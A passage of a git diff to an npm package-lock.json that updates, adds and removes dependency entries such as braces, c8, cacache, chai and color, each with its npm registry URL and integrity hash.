"https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true + "bindings": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz", + "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==", + "dev": true, + "requires": { + "file-uri-to-path": "1.0.0" + } }, "bl": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", "dev": true, + "optional": true, "requires": { "buffer": "^5.5.0", "inherits": "^2.0.4", @@ -4249,10 +14765,11 @@ }, "dependencies": { "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", "dev": true, + "optional": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -4261,34 +14778,40 @@ } } }, - "bluebird": { - "version": "3.4.7", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.7.tgz", - "integrity": "sha1-9y12C+Cbf3bQjtj66Ysomo0F+rM=", - "dev": true - }, "boolbase": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", "dev": true }, + "bottleneck": { + "version": "2.19.5", + "resolved": "https://registry.npmjs.org/bottleneck/-/bottleneck-2.19.5.tgz", + "integrity": "sha512-VHiNCbI1lKdl44tGrhNfU3lup0Tj/ZBMJB5/2ZbNXRCPuRCO7ed2mgcK4r17y+KB2EfuYuRaVlwNbAeaWGSpbw==", + "dev": true + }, + "boundary": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/boundary/-/boundary-2.0.0.tgz", + "integrity": "sha512-rJKn5ooC9u8q13IMCrW0RSp31pxBCHE3y9V/tp3TdWSLf8Em3p6Di4NBpfzbJge9YjjFEsD0RtFEjtvHL5VyEA==", + "dev": true + }, "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", "requires": { - "fill-range": "^7.0.1" + "fill-range": "^7.1.1" } }, "browser-stdout": { @@ -4297,6 +14820,12 @@ "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", "dev": true }, + "btoa-lite": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/btoa-lite/-/btoa-lite-1.0.0.tgz", + "integrity": "sha512-gvW7InbIyF8AicrqWoptdW08pUxuhq8BEgowNajy9RhiE86fmGAGl+bLKo6oB8QP0CkqHLowfN0oJdKC/J6LbA==", + "dev": true + }, "buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", @@ -4307,32 +14836,197 @@ "ieee754": "^1.1.13" } }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "dev": true, + "requires": { + "buffer-alloc-unsafe": "^1.1.0", + "buffer-fill": "^1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==", + "dev": true + }, "buffer-crc32": { "version": "0.2.13", "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", "dev": true }, - "buffer-indexof-polyfill": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/buffer-indexof-polyfill/-/buffer-indexof-polyfill-1.0.2.tgz", - "integrity": "sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A==", + "buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "dev": true + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ==", "dev": true }, - "buffers": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/buffers/-/buffers-0.1.1.tgz", - "integrity": "sha1-skV5w77U1tOWru5tmorn9Ugqt7s=", + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", "dev": true }, + "bufferstreams": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bufferstreams/-/bufferstreams-3.0.0.tgz", + "integrity": "sha512-Qg0ggJUWJq90vtg4lDsGN9CDWvzBMQxhiEkSOD/sJfYt6BLect3eV1/S6K7SCSKJ34n60rf6U5eUPmQENVE4UA==", + "dev": true, + "requires": { + "readable-stream": "^3.4.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } + } + }, + "c8": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/c8/-/c8-10.1.3.tgz", + "integrity": "sha512-LvcyrOAaOnrrlMpW22n690PUvxiq4Uf9WMhQwNJ9vgagkL/ph1+D4uvjvDA5XCbykrc0sx+ay6pVi9YZ1GnhyA==", + "dev": true, + "requires": { + "@bcoe/v8-coverage": "^1.0.1", + "@istanbuljs/schema": "^0.1.3", + "find-up": "^5.0.0", + "foreground-child": "^3.1.1", + "istanbul-lib-coverage": "^3.2.0", + "istanbul-lib-report": "^3.0.1", + "istanbul-reports": "^3.1.6", + "test-exclude": "^7.0.1", + "v8-to-istanbul": "^9.0.0", + "yargs": "^17.7.2", + "yargs-parser": "^21.1.1" + } + }, + "cacache": { + "version": "16.1.3", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-16.1.3.tgz", + "integrity": "sha512-/+Emcj9DAXxX4cwlLmRI9c166RuL3w30zp4R7Joiv2cQTtTtA+jeuCAjH3ZlGnYS3tKENSrKhAzVVP9GVyzeYQ==", + "dev": true, + "requires": { + "@npmcli/fs": "^2.1.0", + "@npmcli/move-file": "^2.0.0", + "chownr": "^2.0.0", + "fs-minipass": "^2.1.0", + "glob": "^8.0.1", + "infer-owner": "^1.0.4", + "lru-cache": "^7.7.1", + "minipass": "^3.1.6", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "mkdirp": "^1.0.4", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^9.0.0", + "tar": "^6.1.11", + "unique-filename": "^2.0.0" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "dev": true + }, + "glob": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", + "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^5.0.1", + "once": "^1.3.0" + } + }, + "lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "dev": true + }, + "minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + }, + "minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" + } + } + } + }, "call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dev": true, + "requires": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + } + }, + "call-bind-apply-helpers": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", - "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", "dev": true, "requires": { - "function-bind": "^1.1.1", - "get-intrinsic": "^1.0.2" + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" } }, "callsites": { @@ -4341,21 +15035,63 @@ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", "dev": true }, + "camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "requires": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, "camelcase": { - "version": "6.2.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.1.tgz", - "integrity": "sha512-tVI4q5jjFV5CavAU8DXfza/TJcZutVKo/5Foskmsqcm0MsL91moHvwiGNnqaa2o6PF/7yT5ikDRcVcl8Rj6LCA==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", "dev": true }, - "chainsaw": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz", - "integrity": "sha1-XqtQsor+WAdNDVgpE4iCi15fvJg=", + "capital-case": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/capital-case/-/capital-case-1.0.4.tgz", + "integrity": "sha512-ds37W8CytHgwnhGGTi88pcPyR15qoNkOpYwmMMfnWqqWgESapLqvDx6huFjQ5vqWSn2Z06173XNA7LtMOeUh1A==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" + } + }, + "chai": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.5.0.tgz", + "integrity": "sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw==", + "dev": true, + "requires": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.3", + "deep-eql": "^4.1.3", + "get-func-name": "^2.0.2", + "loupe": "^2.3.6", + "pathval": "^1.1.1", + "type-detect": "^4.1.0" + } + }, + "chai-as-promised": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/chai-as-promised/-/chai-as-promised-7.1.2.tgz", + "integrity": "sha512-aBDHZxRzYnUYuIAIPBH2s511DjlKPzXNlXSGFC8CwmroWQLfrW0LtE1nK3MAwwNhJPa9raEjNCmRoFpG0Hurdw==", "dev": true, "requires": { - "traverse": ">=0.3.0 <0.4" + "check-error": "^1.0.2" } }, + "chai-subset": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/chai-subset/-/chai-subset-1.6.0.tgz", + "integrity": "sha512-K3d+KmqdS5XKW5DWPd5sgNffL3uxdDe+6GdnJh3AYPhwnBGRY5urfvfcbRtWIvvpz+KxkL9FeBB6MZewLUNwug==", + "dev": true + }, "chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", @@ -4366,6 +15102,35 @@ "supports-color": "^7.1.0" } }, + "change-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz", + "integrity": "sha512-bSxY2ws9OtviILG1EiY5K7NNxkqg/JnRnFxLtKQ96JaviiIxi7djMrSd0ECT9AC+lttClmYwKw53BWpOMblo7A==", + "dev": true, + "requires": { + "camel-case": "^4.1.2", + "capital-case": "^1.0.4", + "constant-case": "^3.0.4", + "dot-case": "^3.0.4", + "header-case": "^2.0.4", + "no-case": "^3.0.4", + "param-case": "^3.0.4", + "pascal-case": "^3.1.2", + "path-case": "^3.0.4", + "sentence-case": "^3.0.4", + "snake-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "check-error": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", + "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==", + "dev": true, + "requires": { + "get-func-name": "^2.0.2" + } + }, "cheerio": { "version": "1.0.0-rc.10", "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz", @@ -4379,14 +15144,6 @@ "parse5": "^6.0.1", "parse5-htmlparser2-tree-adapter": "^6.0.1", "tslib": "^2.2.0" - }, - "dependencies": { - "tslib": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", - "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", - "dev": true - } } }, "cheerio-select": { @@ -4403,9 +15160,9 @@ } }, "chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", "dev": true, "requires": { "anymatch": "~3.1.2", @@ -4433,68 +15190,350 @@ "version": "1.1.4", "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true, + "optional": true + }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true + }, + "cli-color": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-2.0.4.tgz", + "integrity": "sha512-zlnpg0jNcibNrO7GG9IeHH7maWFeCz+Ja1wx/7tZNU5ASSSSZ+/qZciM0/LHCYxSdqv5h2sdbQ/PXYdOuetXvA==", + "dev": true, + "requires": { + "d": "^1.0.1", + "es5-ext": "^0.10.64", + "es6-iterator": "^2.0.3", + "memoizee": "^0.4.15", + "timers-ext": "^0.1.7" + } + }, + "cli-cursor": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", + "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", + "dev": true, + "requires": { + "restore-cursor": "^5.0.0" + } + }, + "cli-spinners": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", + "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", "dev": true }, + "cli-truncate": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-5.1.1.tgz", + "integrity": "sha512-SroPvNHxUnk+vIW/dOSfNqdy1sPEFkrTk6TUtqLCnBlo3N7TNYYkzzN7uSD6+jVjrdO4+p8nH7JzH6cIvUem6A==", + "dev": true, + "requires": { + "slice-ansi": "^7.1.0", + "string-width": "^8.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true + }, + "ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "dev": true, + "requires": { + "get-east-asian-width": "^1.3.1" + } + }, + "slice-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", + "dev": true, + "requires": { + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" + } + }, + "string-width": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.1.0.tgz", + "integrity": "sha512-Kxl3KJGb/gxkaUMOjRsQ8IrXiGW75O4E3RPjFIINOVH8AMl2SQ/yWdTzWwF3FevIX9LcMAjJW+GRwAlAbTSXdg==", + "dev": true, + "requires": { + "get-east-asian-width": "^1.3.0", + "strip-ansi": "^7.1.0" + } + }, + "strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } + } + }, "cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, "requires": { "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", + "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" + }, + "dependencies": { + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + } + } + }, + "cockatiel": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/cockatiel/-/cockatiel-3.1.2.tgz", + "integrity": "sha512-5yARKww0dWyWg2/3xZeXgoxjHLwpVqFptj9Zy7qioJ6+/L0ARM184sgMUrQDjxw7ePJWlGhV998mKhzrxT0/Kg==", + "dev": true + }, + "color": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/color/-/color-5.0.2.tgz", + "integrity": "sha512-e2hz5BzbUPcYlIRHo8ieAhYgoajrJr+hWoceg6E345TPsATMUKqDgzt8fSXZJJbxfpiPzkWyphz8yn8At7q3fA==", + "dev": true, + "requires": { + "color-convert": "^3.0.1", + "color-string": "^2.0.0" + }, + "dependencies": { + "color-convert": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-3.1.2.tgz", + "integrity": "sha512-UNqkvCDXstVck3kdowtOTWROIJQwafjOfXSmddoDrXo4cewMKmusCeF22Q24zvjR8nwWib/3S/dfyzPItPEiJg==", + "dev": true, + "requires": { + "color-name": "^2.0.0" + } + }, + "color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", + "dev": true + } + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "color-string": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-2.1.2.tgz", + "integrity": "sha512-RxmjYxbWemV9gKu4zPgiZagUxbH3RQpEIO77XoSSX0ivgABDZ+h8Zuash/EMFLTI4N9QgFPOJ6JQpPZKFxa+dA==", + "dev": true, + "requires": { + "color-name": "^2.0.0" + }, + "dependencies": { + "color-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.0.2.tgz", + "integrity": "sha512-9vEt7gE16EW7Eu7pvZnR0abW9z6ufzhXxGXZEVU9IqPdlsUiMwJeJfRtq0zePUmnbHGT9zajca7mX8zgoayo4A==", + "dev": true + } } }, - "code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", + "color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", "dev": true }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": 